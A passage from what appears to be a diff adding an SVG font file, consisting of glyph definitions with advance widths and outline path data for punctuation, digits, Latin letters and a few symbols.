3 t41.5 29.5t50.5 81.5l111 -65q-35 -78 -66 -124t-66.5 -63.5t-57 -21.5t-66.5 -4q-72 -8 -306 207q-184 -211 -491 -211q-59 0 -140 23.5t-168 70.5t-146.5 134t-59.5 196zM295 410q0 -84 68.5 -144.5t142.5 -84t131 -23.5q227 2 377 151l-432 455q-135 -74 -211 -157.5 t-76 -196.5zM446 1241q0 -90 195 -295q100 51 160.5 88t111 93.5t50.5 113.5q0 113 -74 163t-180 50q-109 0 -186 -51t-77 -162z" /> +<glyph unicode="'" horiz-adv-x="423" d="M92 1464q0 49 33 81t82 32q61 0 93 -50t32 -118q-2 -147 -152 -332l-86 29q102 127 121 244q-55 0 -89 32.5t-34 81.5z" /> +<glyph unicode="(" horiz-adv-x="692" d="M123 520q0 98 13.5 220t49 269.5t89 267.5t143.5 205t200 95l13 -143q-96 -35 -167 -144.5t-104.5 -255t-49 -273.5t-15.5 -241q0 -111 15.5 -238.5t49 -273t104.5 -256t167 -143.5l-13 -144q-113 12 -202.5 98.5t-142 205t-88 264t-49 266.5t-13.5 221z" /> +<glyph unicode=")" horiz-adv-x="692" d="M61 -391q96 33 167 143.5t105 256t49 273.5t15 238q0 113 -15 241t-49 273.5t-104.5 255t-167.5 144.5l13 143q111 -10 201 -95t143 -205t89 -267.5t49 -269.5t13 -220q0 -100 -13 -221t-49 -266.5t-88 -264t-142.5 -204.5t-202.5 -99z" /> +<glyph unicode="*" horiz-adv-x="1265" d="M100 1161l52 133l413 -166l-4 449h144l-5 -449l414 166l51 -133l-424 -166l295 -327l-118 -101l-285 353l-283 -353l-123 101l295 327z" /> +<glyph unicode="+" horiz-adv-x="1331" d="M102 496v137h484v493h137v-493h506v-137h-506v-496h-137v496h-484z" /> +<glyph unicode="," horiz-adv-x="413" d="M82 100.5q0 49.5 32.5 81t82.5 31.5q61 0 93 -50t32 -118q-2 -147 -152 -332l-86 29q102 127 121 244q-55 0 -89 32.5t-34 82z" /> +<glyph unicode="-" horiz-adv-x="708" d="M113 492v143h483v-143h-483z" /> +<glyph unicode="." horiz-adv-x="411" d="M92 100.5q0 49.5 33 81t82 31.5t80.5 -31.5t31.5 -81t-31.5 -82t-80.5 -32.5t-82 32.5t-33 82z" /> +<glyph unicode="/" horiz-adv-x="884" d="M41 -532l633 2109h170l-633 -2109h-170z" /> +<glyph unicode="0" horiz-adv-x="1253" d="M123 579.5q0 165.5 44 287.5t118.5 187.5t159.5 96.5t181.5 31t181.5 -31t159.5 -96.5t118.5 -187.5t44 -287.5t-44 -287.5t-118.5 -187.5t-159.5 -96.5t-181.5 -31t-181.5 31t-159.5 96.5t-118.5 187.5t-44 287.5zM295 579.5q0 -237.5 96 -344t235.5 -106.5t235.5 106.5 t96 344t-96 344t-235.5 106.5t-235.5 -106.5t-96 -344z" /> +<glyph unicode="1" horiz-adv-x="731" d="M102 936l293 221h166v-1157h-166v983l-182 -154z" /> +<glyph unicode="2" horiz-adv-x="1126" d="M102 0v131l71 49q44 31 155.5 120t196.5 169t156 176t71 162q0 109 -56.5 161t-152.5 50q-53 0 -104.5 -19.5t-85.5 -46t-59.5 -54.5t-37.5 -46l-12 -18q-104 98 -105 100q43 78 155 162t251 86q180 0 280.5 -92.5t100.5 -270.5q0 -139 -165 -323.5t-376 -345.5h627 l2 -150h-912z" /> +<glyph unicode="3" horiz-adv-x="1142" d="M82 -313l108 106q10 -8 28 -20.5t80 -30.5t130 -16q92 0 184.5 43t164 147t71.5 250q0 98 -74 173t-174 75q-41 0 -86 -6.5t-80 -13.5t-62.5 -15t-43.5 -14l-17 -5v144q166 68 262.5 148.5t96.5 197.5q0 74 -52.5 120t-125.5 46q-53 0 -99.5 -14.5t-76 -36t-51 -43 t-32.5 -35.5l-8 -15l-96 95q4 8 13.5 22.5t41 52t69.5 65.5t102.5 51.5t133.5 23.5q145 0 247 -93.5t102 -238.5q0 -158 -183 -293q152 -18 257.5 -126.5t109.5 -264.5q0 -147 -57.5 -268t-148.5 -192t-191.5 -108.5t-196.5 -37.5q-88 0 -175 31.5t-130 64.5z" /> +<glyph unicode="4" horiz-adv-x="1286" d="M82 0v90l803 1067h108v-1007h232v-150h-232v-440h-166v440h-745zM307 141l39 9h481v688l-491 -666l-29 -29v-2z" /> +<glyph unicode="5" horiz-adv-x="1208" d="M143 -301l107 104q8 -8 24.5 -21t79 -34.5t135.5 -21.5q150 0 281 115.5t131 328.5q0 115 -84 218.5t-203 103.5q-158 0 -270 -76h-166v741h770v-156h-604v-413q119 53 270 53q180 0 317.5 -143.5t145.5 -327.5q0 -147 -57 -268t-146.5 -192.5t-188.5 -110.5t-196 -39 q-104 0 -190 34.5t-121 69.5z" /> +<glyph unicode="6" horiz-adv-x="1269" d="M131 727q0 360 170 620.5t424 260.5q188 0 356 -135l-110 -107q-100 84 -240 84q-115 0 -202 -76t-134 -195.5t-71.5 -240.5t-26.5 -236q176 268 414 269q193 0 314.5 -111.5t121.5 -353.5q0 -80 -25.5 -164t-78 -167t-151.5 -136t-230 -53q-254 0 -392.5 191.5 t-138.5 549.5zM319 481q35 -168 123 -256t220 -88q111 0 185.5 66.5t101 145.5t26.5 157q0 164 -74 238.5t-190 74.5q-230 0 -392 -338z" /> +<glyph unicode="7" horiz-adv-x="1058" d="M10 -328q86 53 339 497.5t437 823.5h-696v164h907v-121q-195 -410 -478 -918.5t-394 -557.5z" /> +<glyph unicode="8" horiz-adv-x="1216" d="M133 350q2 143 97.5 263t224.5 208q-281 223 -281 439q0 92 38 160.5t103.5 106.5t138 55t154.5 17t155 -17t138.5 -55t103 -106.5t37.5 -160.5q0 -143 -98 -255t-221 -186q86 -63 137 -106t109.5 -104.5t86 -125t27.5 -133.5q0 -78 -24.5 -140.5t-59 -100t-87 -65.5 t-93.5 -40t-93 -19.5t-72 -7.5h-42h-4h-36q-13 0 -68 6.5t-95 18.5t-95.5 40t-91.5 65.5t-62.5 101t-26.5 141.5zM307 350q0 -55 19.5 -98t55.5 -66.5t67.5 -39t74.5 -19.5l55 -5q11 -1 29 -1h2q23 0 45.5 1t72.5 13t86 33.5t65.5 69t29.5 112.5q0 86 -86 174t-254 209 q-248 -160 -262 -383zM348 1260q0 -90 67.5 -174.5t188.5 -178.5q53 29 105.5 68t105.5 119t53 166q0 111 -75.5 159.5t-184 48.5t-184.5 -48.5t-76 -159.5z" /> +<glyph unicode="9" horiz-adv-x="1269" d="M123 662q0 80 25.5 163.5t78 166.5t151.5 136.5t230 53.5q254 0 392.5 -191.5t138.5 -550.5q0 -109 -20.5 -224.5t-69 -234t-116 -212t-171 -151.5t-225.5 -58q-117 0 -217.5 37.5t-155.5 76.5l112 109q119 -66 259 -66q115 0 202.5 75t136 194.5t72 239.5t27.5 237 q-180 -266 -414 -266q-193 0 -314.5 111.5t-121.5 353.5zM295 662q0 -164 73.5 -239t190.5 -75q227 0 391 336q-35 170 -123 258t-219 88q-111 0 -185.5 -66.5t-101 -145t-26.5 -156.5z" /> +<glyph unicode=":" horiz-adv-x="514" d="M143 100.5q0 49.5 33 81t82 31.5t81 -31.5t32 -81t-32 -82t-81 -32.5t-82 32.5t-33 82zM143 850q0 49 33 81t82 32t81 -32t32 -81t-32 -82t-81 -33t-82 33t-33 82z" /> +<glyph unicode=";" horiz-adv-x="526" d="M143 100.5q0 49.5 33 81t82 31.5q61 0 93 -50t32 -118q-2 -147 -152 -332l-86 29q102 127 121 244q-55 0 -89 32.5t-34 82zM143 850q0 49 33 81t82 32t81 -32t32 -81t-32 -82t-81 -33t-82 33t-33 82z" /> +<glyph unicode="<" horiz-adv-x="1433" d="M154 500v147l1136 514v-147l-975 -441l975 -440v-147z" /> +<glyph unicode="=" horiz-adv-x="1394" d="M133 344v137h1129v-137h-1129zM133 672v137h1129v-137h-1129z" /> +<glyph unicode=">" horiz-adv-x="1433" d="M143 -14v147l973 440l-973 441v147l1137 -514v-147z" /> +<glyph unicode="?" horiz-adv-x="1032" d="M84 1393q6 12 19.5 31.5t56.5 68.5t91 87t125 68.5t156 30.5q104 0 184.5 -25.5t125.5 -64.5t72.5 -91t35.5 -96t8 -91q0 -78 -24.5 -147.5t-81.5 -139.5t-93 -104l-114 -107q-164 -150 -164 -213q0 -88 94 -172l-104 -90q-53 47 -78.5 76.5t-47 79t-21.5 108.5 q0 90 52 164t161 170q74 68 118.5 116t86.5 119.5t44 139.5q0 225 -254 225q-59 0 -115.5 -25.5t-95 -61.5t-69.5 -72t-45 -62l-14 -25zM399 100.5q0 49.5 33 81t82 31.5t81 -31.5t32 -81t-32 -82t-81 -32.5t-82 32.5t-33 82z" /> +<glyph unicode="@" horiz-adv-x="2195" d="M123 535q0 266 141.5 507.5t378 388t502.5 146.5q215 0 395 -76t294 -199.5t176.5 -276.5t62.5 -312q0 -158 -54.5 -283t-133.5 -195.5t-175 -117.5t-170 -62.5t-129 -15.5q-166 0 -127 182q-209 -184 -412 -182q-276 2 -276 383q0 162 56.5 308.5t141.5 243.5t183 154.5 t184 57.5q190 0 297 -164l29 121l160 -37q-209 -928 -209 -938q6 -6 57 4t123 46t139.5 94.5t112.5 164t39 236.5q0 127 -51.5 249.5t-145.5 224t-242.5 164t-324.5 62.5q-221 0 -421 -125t-318.5 -328.5t-118.5 -424.5q0 -330 255 -552.5t603 -222.5q182 0 321.5 48.5 t341.5 216.5l103 -127q-231 -190 -392 -245.5t-374 -55.5q-270 0 -503.5 119.5t-376 337t-142.5 481.5zM760 422q0 -254 112 -260q78 -2 160 39t147.5 105.5t100.5 105.5t61 77l76 345q-55 135 -117.5 182t-138.5 47q-135 0 -268 -188.5t-133 -452.5z" /> +<glyph unicode="A" horiz-adv-x="1474" d="M61 0l582 1577h188l582 -1577h-190l-199 537h-575l-197 -537h-191zM506 692h461l-230 627z" /> +<glyph unicode="B" horiz-adv-x="1308" d="M174 0v1577h180v-115q117 76 190.5 106.5t164.5 30.5q166 0 284.5 -111.5t118.5 -344.5q-2 -223 -160 -324q129 -59 180.5 -154.5t51.5 -179.5v-10q0 -43 -1 -70.5t-11.5 -85t-29 -97.5t-57 -90t-94 -82t-142.5 -53.5t-198 -21.5q-137 4 -297 117v-92h-180zM354 236 q147 -92 297 -93q78 0 138.5 16.5t97.5 36t63.5 58.5t37.5 61.5t17.5 67.5t6.5 56v46q0 31 -13.5 65t-46 77t-106.5 72.5t-178 33.5q-59 -4 -314 -4v-493zM354 877h112q32 0 102.5 3t102.5 10l85 19q53 12 78.5 32t54.5 47.5t40 67.5t11 91q-2 145 -69.5 215t-161.5 70 q-160 0 -355 -119v-436z" /> +<glyph unicode="C" horiz-adv-x="1357" d="M123 752q0 203 59.5 369.5t154.5 267t208.5 154.5t228.5 54q92 0 174 -22.5t134.5 -53t92 -62.5t58.5 -54l16 -23l-125 -120l-11 17q-7 11 -38 40t-66.5 50.5t-99 38.5t-137.5 17q-186 0 -325.5 -174t-139.5 -499q0 -256 131 -430.5t320 -174.5q45 0 89 6.5t81 16.5 t70.5 23.5t61 28t50.5 28.5t40 27.5l29.5 23.5t18.5 16l6 7l111 -107q-61 -76 -117 -115q-176 -127 -436 -127q-274 0 -456.5 222.5t-182.5 554.5z" /> +<glyph unicode="D" horiz-adv-x="1503" d="M174 0v1577h180v-174q205 193 465 194q111 0 207 -45t178 -137t129 -256t47 -381q0 -342 -179 -572.5t-443 -230.5q-190 4 -404 142v-117h-180zM354 281q197 -129 404 -129q188 0 315 177t127 449q0 315 -111.5 477t-263.5 166q-281 0 -471 -194v-946z" /> +<glyph unicode="E" horiz-adv-x="1150" d="M174 0v1577h651l215 10v-186h-686v-508h584v-156h-584v-561h500l215 10v-186h-895z" /> +<glyph unicode="F" horiz-adv-x="1112" d="M174 0v1577h651l215 10v-186h-686v-508h584v-156h-584v-737h-180z" /> +<glyph unicode="G" horiz-adv-x="1525" d="M123 764q0 184 48 330.5t122 237.5t173 152.5t194.5 86t191.5 26.5q90 0 173 -24.5t138.5 -60t98.5 -71.5t61 -61l20 -24l-124 -121q-4 8 -14.5 21.5t-43.5 47t-70.5 59.5t-100 47.5t-130.5 23.5q-90 0 -180 -35t-176 -108.5t-140.5 -210t-54.5 -316.5q0 -100 30 -201.5 t90 -196t171 -153.5t254 -61q98 0 217 54t119 113v306h-211q-109 0 -166 30v164q74 -18 172 -18h365v-490q0 -135 -150.5 -233t-337.5 -103q-160 0 -290 51.5t-211.5 132.5t-137 187.5t-78 210t-22.5 207.5z" /> +<glyph unicode="H" horiz-adv-x="1519" d="M174 0v1577h180v-684h811v684h181v-1577h-181v737h-811v-737h-180z" /> +<glyph unicode="I" horiz-adv-x="528" d="M174 0v1577h180v-1577h-180z" /> +<glyph unicode="J" horiz-adv-x="585" d="M-20 -369q109 31 181 113t72 221v1612h181v-1612q0 -94 -26 -173t-63.5 -131t-90 -93t-96.5 -61.5t-93 -36.5z" /> +<glyph unicode="K" horiz-adv-x="1265" d="M174 0v1577h180v-711l541 711h227l-590 -737q45 -6 112 -38t106 -77q45 -45 244.5 -365.5t230.5 -355.5v-4h-219q-35 37 -188.5 295t-190.5 297q-82 90 -185 90q-61 0 -88 -6v-676h-180z" /> +<glyph unicode="L" horiz-adv-x="1202" d="M174 0v1577h180v-1401h561l215 10v-186h-956z" /> +<glyph unicode="M" horiz-adv-x="1742" d="M174 0v1577h180l514 -1352l2 -14l2 14l517 1352h180v-1577h-180v1106l2 31l-9 -31l-424 -1106h-174l-424 1106l-8 31l2 -31v-1106h-180z" /> +<glyph unicode="N" horiz-adv-x="1482" d="M174 0v1577h180v-2l762 -1239l14 -29l-2 29v1241h181v-1577h-181v2l-761 1243l-15 29l2 -29v-1245h-180z" /> +<glyph unicode="O" horiz-adv-x="1554" d="M123 790.5q0 225.5 55 389t152.5 252t208 127t241.5 38.5q102 -2 192.5 -25.5t176.5 -80.5t146.5 -146.5t98.5 -229.5t38 -320q0 -227 -55.5 -391t-152 -252.5t-207 -127t-241.5 -38.5t-240.5 38.5t-206 126t-151.5 251t-55 389zM303 795q0 -180 40 -310.5t109.5 -200 t149.5 -100t174 -30.5t174 30.5t149.5 99t110.5 198.5t41 309q0 176 -40 305t-109.5 198.5t-148.5 101t-173 34.5q-94 0 -175 -31t-151.5 -100.5t-110.5 -197.5t-40 -306z" /> +<glyph unicode="P" horiz-adv-x="1265" d="M174 0v1577h180v-123q190 143 365 143q160 -6 301 -140t143 -355q0 -287 -138 -458t-349 -171q-170 2 -322 107v-580h-180zM354 760q166 -129 330 -131q133 4 220 131t87 342q-2 145 -88 233t-184 95q-98 0 -176 -29t-189 -98v-543z" /> +<glyph unicode="Q" horiz-adv-x="1554" d="M123 780q0 182 38 325.5t99.5 235t148.5 150.5t178 82.5t193 23.5q129 -2 239.5 -44t206 -131t151 -253.5t55.5 -388.5q0 -207 -47.5 -362.5t-131.5 -244.5t-181 -135t-214 -58q70 -82 232 -82q53 0 192 32l49 -161q-88 -39 -241 -39q-96 0 -174 25.5t-124.5 68.5t-73 80 t-42.5 78q-244 29 -398.5 218t-154.5 580zM303 784q0 -180 40 -310t109.5 -199.5t149.5 -100.5t174 -31t174 31t149.5 99.5t110.5 198.5t41 308q0 143 -26.5 256t-71.5 184.5t-106.5 120t-127 67.5t-139.5 22q-94 0 -175 -33t-150.5 -103.5t-110.5 -201t-41 -308.5z" /> +<glyph unicode="R" horiz-adv-x="1349" d="M174 0v1577h180v-115q111 70 187.5 102.5t169.5 32.5q168 -4 295 -112.5t127 -335.5q0 -152 -54.5 -258.5t-128 -155.5t-170.5 -69q82 -70 271.5 -338.5t267.5 -323.5v-4h-223q-53 39 -134 146.5t-149 211t-150.5 192.5t-148.5 101q-113 0 -160 2v-653h-180zM354 799h303 q121 2 211 82t93 268q0 139 -76 207.5t-174 73.5q-100 0 -176 -27t-181 -88v-516z" /> +<glyph unicode="S" horiz-adv-x="1361" d="M117 281l125 118q78 -125 202.5 -189.5t272.5 -68.5q143 0 245.5 76t102.5 215q0 53 -22.5 97t-50 71t-84 53.5t-95.5 40t-108 33.5l-21 6q-94 29 -144.5 46.5t-124 55t-111.5 77.5t-66.5 104.5t-28.5 146.5q0 106 36 187.5t88 127.5t119.5 74.5t122 37.5t105.5 9 q150 0 280 -51t211 -139l-127 -111q-131 137 -364 138q-43 0 -87 -11.5t-95.5 -38t-84 -84t-32.5 -139.5q0 -45 22.5 -82t48 -59.5t85 -48t90 -35.5t106.5 -33q90 -29 146.5 -49t132 -60t119 -86t75 -118t31.5 -160q0 -217 -153.5 -336t-370.5 -119q-397 13 -596 304z" /> +<glyph unicode="T" horiz-adv-x="1150" d="M20 1421v156h1110v-156h-468v-1421h-181v1421h-461z" /> +<glyph unicode="U" horiz-adv-x="1460" d="M174 489v1088h180v-1083q0 -94 29 -163t70 -106t96 -59.5t97 -27.5t85 -5t84 5t96.5 27.5t95.5 58.5t69.5 104.5t29.5 160.5v1088h180v-1088q0 -133 -43 -232t-102.5 -151.5t-141 -83t-143 -39t-125.5 -8.5q-66 0 -126 8.5t-143 39t-142.5 83t-102.5 151.5t-43 232z" /> +<glyph unicode="V" horiz-adv-x="1433" d="M61 1577h191l459 -1296l6 -27l6 27l459 1296h190l-561 -1577h-188z" /> +<glyph unicode="W" horiz-adv-x="2019" d="M61 1577h189l328 -1270l4 -24l4 24l327 1270h191l328 -1270l4 -24l4 24l327 1270h191l-447 -1577h-149l-348 1217l-6 36l-7 -36l-344 -1217h-149z" /> +<glyph unicode="X" horiz-adv-x="1345" d="M61 0l500 786l-500 791h220l391 -616l393 616h219l-502 -791l502 -786h-221l-391 612l-389 -612h-222z" /> +<glyph unicode="Y" horiz-adv-x="1263" d="M20 1577h218l397 -627l399 627h209l-520 -821v-756h-178v756z" /> +<glyph unicode="Z" horiz-adv-x="1257" d="M104 0v168l789 1241h-768v168h987v-164l-788 -1245h594q23 -1 44 -1q154 0 193 40v-174q-18 -16 -78.5 -24.5t-111.5 -8.5h-52h-809z" /> +<glyph unicode="[" horiz-adv-x="735" d="M174 -532v2109h418v-123h-246v-1864h246v-122h-418z" /> +<glyph unicode="\" horiz-adv-x="905" d="M51 1577h170l633 -2109h-170z" /> +<glyph unicode="]" horiz-adv-x="735" d="M143 -410h246v1864h-246v123h418v-2109h-418v122z" /> +<glyph unicode="^" horiz-adv-x="1339" d="M82 0l514 1126h147l514 -1126h-147l-440 965l-441 -965h-147z" /> +<glyph unicode="_" horiz-adv-x="1353" d="M113 0h1128v-131h-1128v131z" /> +<glyph unicode="`" horiz-adv-x="729" d="M113 1432l43 145l460 -229l-43 -97z" /> +<glyph unicode="a" horiz-adv-x="1155" d="M123 283q0 72 14.5 124t53 103t120.5 87t207 54q213 29 285 47v129q0 51 -32 117t-95 66q-219 0 -344 -107q-18 -20 -16.5 -39.5t16.5 -34.5l-164 -30q-20 26 -20 64q0 24 8 52q20 74 92 115q218 121 445 121h7q100 0 165 -61.5t84.5 -129t19.5 -133.5v-555 q0 -16 4 -40.5t32.5 -73.5t77.5 -80l-110 -103q-119 47 -158 199q-186 -199 -385 -199q-20 0 -49 4.5t-77 22.5t-86 49t-66.5 91.5t-28.5 140.5zM293 283q0 -49 17.5 -85t42 -51.5t42 -21.5t29.5 -6q104 0 204.5 66.5t174.5 158.5v207q-100 -20 -266 -43 q-152 -20 -198 -74.5t-46 -150.5z" /> +<glyph unicode="b" horiz-adv-x="1292" d="M174 0v1679h172v-770q189 242 414 242h4q180 -2 292.5 -170t112.5 -399q0 -287 -125.5 -447t-347.5 -160q-156 0 -350 156v-131h-172zM346 319q76 -76 174 -126t176 -50q137 0 219 117t82 322q0 162 -64.5 280.5t-168.5 120.5h-4q-243 0 -414 -266v-398z" /> +<glyph unicode="c" horiz-adv-x="1044" d="M113 543q0 295 149 454q144 154 320 154h14q66 -2 125 -21.5t97 -46t67.5 -52t44.5 -44.5l12 -16l-108 -103q-2 4 -8.5 12.5t-27 28t-46 34.5t-68.5 28.5t-92 15.5h-8q-114 0 -205 -113q-94 -117 -94 -331q0 -172 82 -288t215 -116q51 0 81.5 4t83 32t109.5 81l107 -102 q-82 -82 -156 -124t-116 -48.5t-109 -6.5q-209 0 -339 162t-130 406z" /> +<glyph unicode="d" horiz-adv-x="1333" d="M123 545q0 287 126 446.5t347 159.5q156 0 350 -156v684h172v-1409q2 -16 7 -39.5t39 -77t87 -79.5l-141 -99q-143 78 -164 242q-189 -242 -414 -242h-4q-180 2 -292.5 170.5t-112.5 399.5zM295 545q0 -162 64.5 -281t168.5 -121h8q243 0 410 267v397q-80 76 -176 126 t-174 50q-137 0 -219 -116.5t-82 -321.5z" /> +<glyph unicode="e" horiz-adv-x="1187" d="M113 551q0 242 138 421t347 179q119 0 209 -46t136 -107.5t73.5 -139.5t35 -127t7.5 -84v-76h-774q0 -193 85 -318.5t236 -125.5q115 0 195 49q80 47 153 146l105 -101q-72 -88 -141.5 -144.5t-135 -74.5t-95.5 -22.5t-81 -4.5q-227 0 -360 167t-133 409zM309 723h570 q-10 47 -27.5 89t-48.5 87t-84 72.5t-121 27.5q-100 0 -177 -76.5t-112 -199.5z" /> +<glyph unicode="f" horiz-adv-x="825" d="M61 983v143h146v197q0 367 317 367q207 0 363 -129l-111 -107q-119 92 -252 92q-49 0 -79.5 -15t-45 -51t-18.5 -68t-4 -89v-197h332v-143h-332v-983h-170v983h-146z" /> +<glyph unicode="g" d="M123 -221q2 125 45 200.5t127 137.5q-96 41 -105 133q0 96 146 213q-170 96 -170 332q0 92 44 165.5t113.5 113.5t142.5 60.5t140 20.5q63 0 137 -18q133 121 310 120q55 0 123 -20l-29 -143q-37 12 -94 12q-88 0 -166 -33q160 -102 160 -278q0 -115 -44.5 -197 t-115 -122t-140 -56.5t-141.5 -16.5q-70 0 -123 11q-121 -86 -121 -164q6 -6 52.5 -9t120.5 -5l73 -3q119 -6 207 -21t179 -49t140.5 -101.5t49.5 -163.5q0 -199 -144.5 -330t-425.5 -131q-199 0 -345 98.5t-146 243.5zM297 -221q0 -82 94 -135.5t223 -53.5q197 0 301.5 87 t104.5 221q0 53 -36 90t-103.5 55t-128 26.5t-146.5 12.5q-119 0 -147 2q-84 -51 -123 -113.5t-39 -191.5zM338 795q0 -80 26.5 -135.5t70.5 -81t85 -34.5t86 -9t87 11t85 37.5t69.5 81t26.5 130.5q0 113 -86 171t-182 58t-182 -58t-86 -171z" /> +<glyph unicode="h" horiz-adv-x="1241" d="M174 0v1679h172v-790q270 262 492 262q260 0 260 -350v-801h-172v801q0 178 -88 178q-233 0 -492 -268v-711h-172z" /> +<glyph unicode="i" horiz-adv-x="555" d="M174 1475q0 45 29.5 73.5t75 28.5t74 -28.5t28.5 -73.5t-28.5 -75t-74 -30t-75 30t-29.5 75zM193 0v1126h169v-1126h-169z" /> +<glyph unicode="j" horiz-adv-x="452" d="M-72 -401q61 8 111.5 101t50.5 212v1214h170v-1214q0 -178 -87 -308t-193 -167zM72 1475q0 45 29.5 73.5t74.5 28.5t74 -28.5t29 -73.5t-29 -75t-74 -30t-74.5 30t-29.5 75z" /> +<glyph unicode="k" horiz-adv-x="1157" d="M174 0v1679h172v-950q383 268 449 397h174q-35 -133 -467 -458q66 -27 114 -80l338 -381q190 -207 213 -207h-231q-25 8 -102.5 91l-192.5 217l-147 169q-61 63 -99 74q-20 6 -49 -2v-549h-172z" /> +<glyph unicode="l" horiz-adv-x="573" d="M174 299v1380h170v-1380q0 -111 23 -133q45 -45 135 -45l-6 -146q-180 0 -250 70q-72 72 -72 254z" /> +<glyph unicode="m" horiz-adv-x="1882" d="M174 0v1126h172v-223q225 248 426 248q221 0 254 -254q227 254 432 254q260 0 260 -350v-801h-172v801q0 178 -88 178q-74 0 -140.5 -24.5t-123.5 -74t-87 -80t-75 -85.5v-715h-172v801q0 178 -88 178q-74 0 -140.5 -24.5t-123.5 -74t-87 -80t-75 -85.5v-715h-172z" /> +<glyph unicode="n" d="M174 0v1126h172v-237q270 262 492 262q260 0 260 -350v-801h-172v801q0 178 -88 178q-227 0 -492 -268v-711h-172z" /> +<glyph unicode="o" horiz-adv-x="1224" d="M123 563q0 166 41 285t112.5 182.5t154.5 92t181.5 28.5t181.5 -28.5t154.5 -92t112.5 -182.5t41 -285t-41 -284.5t-112.5 -182t-154.5 -92.5t-181.5 -29t-181.5 29t-154.5 92.5t-112.5 182t-41 284.5zM295 563.5q0 -237.5 91 -341t226.5 -103.5t226.5 103.5t91 341 t-91 341t-226.5 103.5t-226.5 -103.5t-91 -341z" /> +<glyph unicode="p" horiz-adv-x="1292" d="M174 -532v1658h172v-217q189 242 414 242h4q180 -2 292.5 -170t112.5 -399q0 -287 -125.5 -447t-347.5 -160q-156 0 -350 156v-663h-172zM346 319q76 -76 174 -126t176 -50q137 0 219 117t82 322q0 162 -64.5 280.5t-168.5 120.5h-4q-243 0 -414 -266v-398z" /> +<glyph unicode="q" horiz-adv-x="1292" d="M123 545q0 287 126 446.5t347 159.5q156 0 350 -156v131h172v-1658h-172v747q-193 -240 -414 -240h-4q-180 2 -292.5 170.5t-112.5 399.5zM295 545q0 -162 64.5 -281t168.5 -121h8q243 0 410 267v397q-80 76 -176 126t-174 50q-137 0 -219 -116.5t-82 -321.5z" /> +<glyph unicode="r" horiz-adv-x="940" d="M174 0v1126h172v-217q141 242 285 242q78 0 146.5 -28.5t96.5 -57.5l29 -27l-119 -114q-49 63 -145 63q-158 0 -293 -282v-705h-172z" /> +<glyph unicode="s" horiz-adv-x="1026" d="M92 205l119 96q45 -82 135 -131t191 -51q92 0 157.5 49t65.5 141q0 55 -43 96t-87 58.5t-124 42t-129 44t-106.5 56.5t-85 92.5t-27.5 130.5q0 78 26.5 138.5t65.5 94.5t90 55.5t91 27.5t79 6q223 0 354 -131l-110 -107q-88 94 -244 95q-39 0 -77 -11.5t-74.5 -54.5 t-36.5 -113q0 -35 17 -60.5t57 -46t70 -31.5t89 -29q74 -23 110.5 -35.5t95 -43t87.5 -62.5t52.5 -87t23.5 -125q0 -162 -115 -248t-277 -86q-131 0 -250.5 59.5t-189.5 170.5z" /> +<glyph unicode="t" horiz-adv-x="819" d="M92 983v143h144v308h172v-308h270v-143h-270v-655q0 -41 2 -66.5t11 -64.5t32.5 -58.5t60.5 -19.5q96 0 178 78l96 -93q-135 -129 -319 -129q-233 0 -233 353v655h-144z" /> +<glyph unicode="u" d="M164 326v800h172v-800q0 -178 88 -179q233 0 491 269v710h172v-1126h-172v236q-272 -260 -491 -261q-260 1 -260 351z" /> +<glyph unicode="v" horiz-adv-x="1144" d="M72 1126h198l293 -870l6 -39l4 19q2 18 2 20q246 813 312 870h186q-35 -43 -140.5 -324.5t-193.5 -541.5l-88 -260h-149z" /> +<glyph unicode="w" horiz-adv-x="1632" d="M72 1126h186l223 -839l6 -43l7 43l239 839h148l239 -839l8 -43l7 43q217 817 258 839h168q-25 -25 -114 -306t-165 -550l-78 -270h-145l-252 868l-248 -868h-162z" /> +<glyph unicode="x" horiz-adv-x="1216" d="M82 0q29 12 187.5 226t250.5 349l-397 551h217l278 -407q266 395 304 407h213q-49 -23 -420 -548l409 -578h-217l-291 434q-295 -426 -321 -434h-213z" /> +<glyph unicode="y" horiz-adv-x="1126" d="M59 -414q137 8 217 88q39 39 74 98.5t90 192.5l56 137l-394 1024h183l305 -790q307 754 352 790h195q-45 -43 -130 -232t-405 -974l-55 -131q-20 -47 -62.5 -113.5t-91.5 -113.5q-119 -115 -291 -125z" /> +<glyph unicode="z" horiz-adv-x="1060" d="M102 0v145l635 838h-635v143h842v-143l-635 -838h525q113 0 145 35v-145q-12 -14 -49 -22.5t-68 -10.5l-31 -2h-729z" /> +<glyph unicode="{" horiz-adv-x="962" d="M164 526v103q88 0 137 38t55 74l4 37v611q0 47 9.5 94t31 99t68.5 85t113 33q59 0 118.5 -16.5t90.5 -32.5l28 -19l-57 -143q-57 39 -180 39q-49 0 -50 -139v-613q0 -6 -1 -16t-9 -35t-20.5 -48.5t-39 -51t-61.5 -47.5q37 -20 64 -48t39 -50.5t19 -48t8 -36t1 -16.5v-612 q0 -139 50 -140q55 0 100 10.5t63 18.5l17 10l57 -143q-102 -68 -237 -68q-66 0 -113 33t-68.5 85t-31 99t-9.5 95v610q0 6 -1 16t-12 36t-29.5 45.5t-58.5 35.5t-95 16z" /> +<glyph unicode="|" horiz-adv-x="503" d="M174 -532v2232h156v-2232h-156z" /> +<glyph unicode="}" horiz-adv-x="962" d="M143 -477l58 143q57 -39 180 -39q49 0 49 140v610q0 14 4 37.5t36 77t89 86.5q-57 33 -89 83t-36 74.5t-4 40.5v613q0 139 -49 139q-55 0 -100 -10.5t-64 -18.5l-16 -10l-58 143q102 68 238 68q66 0 113 -33t68.5 -85t30.5 -99t9 -94v-611q0 -6 1 -16t11.5 -36t29 -45 t59 -35.5t96.5 -16.5v-103q-53 0 -93 -14t-58.5 -33.5t-30 -44t-13.5 -36t-2 -19.5v-612q0 -47 -9 -94.5t-30.5 -99.5t-69 -85t-112.5 -33q-59 0 -118.5 16.5t-90.5 32.5z" /> +<glyph unicode="~" horiz-adv-x="1349" d="M123 709q10 8 31.5 20t99.5 32.5t168 20.5q82 0 256 -63q176 -61 262 -62q72 0 130 11.5t81 23.5l23 13l53 -103q-106 -68 -287 -67q-94 0 -295 69q-154 55 -223 55q-78 0 -137.5 -12t-79.5 -24l-21 -13z" /> +<glyph unicode="ª" horiz-adv-x="1155" d="M123 283q0 72 14.5 124t53 103t120.5 87t207 54q213 29 285 47v129q0 51 -32 117t-95 66q-219 0 -344 -107q-18 -20 -16.5 -39.5t16.5 -34.5l-164 -30q-20 26 -20 64q0 24 8 52q20 74 92 115q218 121 445 121h7q100 0 165 -61.5t84.5 -129t19.5 -133.5v-555 q0 -16 4 -40.5t32.5 -73.5t77.5 -80l-110 -103q-119 47 -158 199q-186 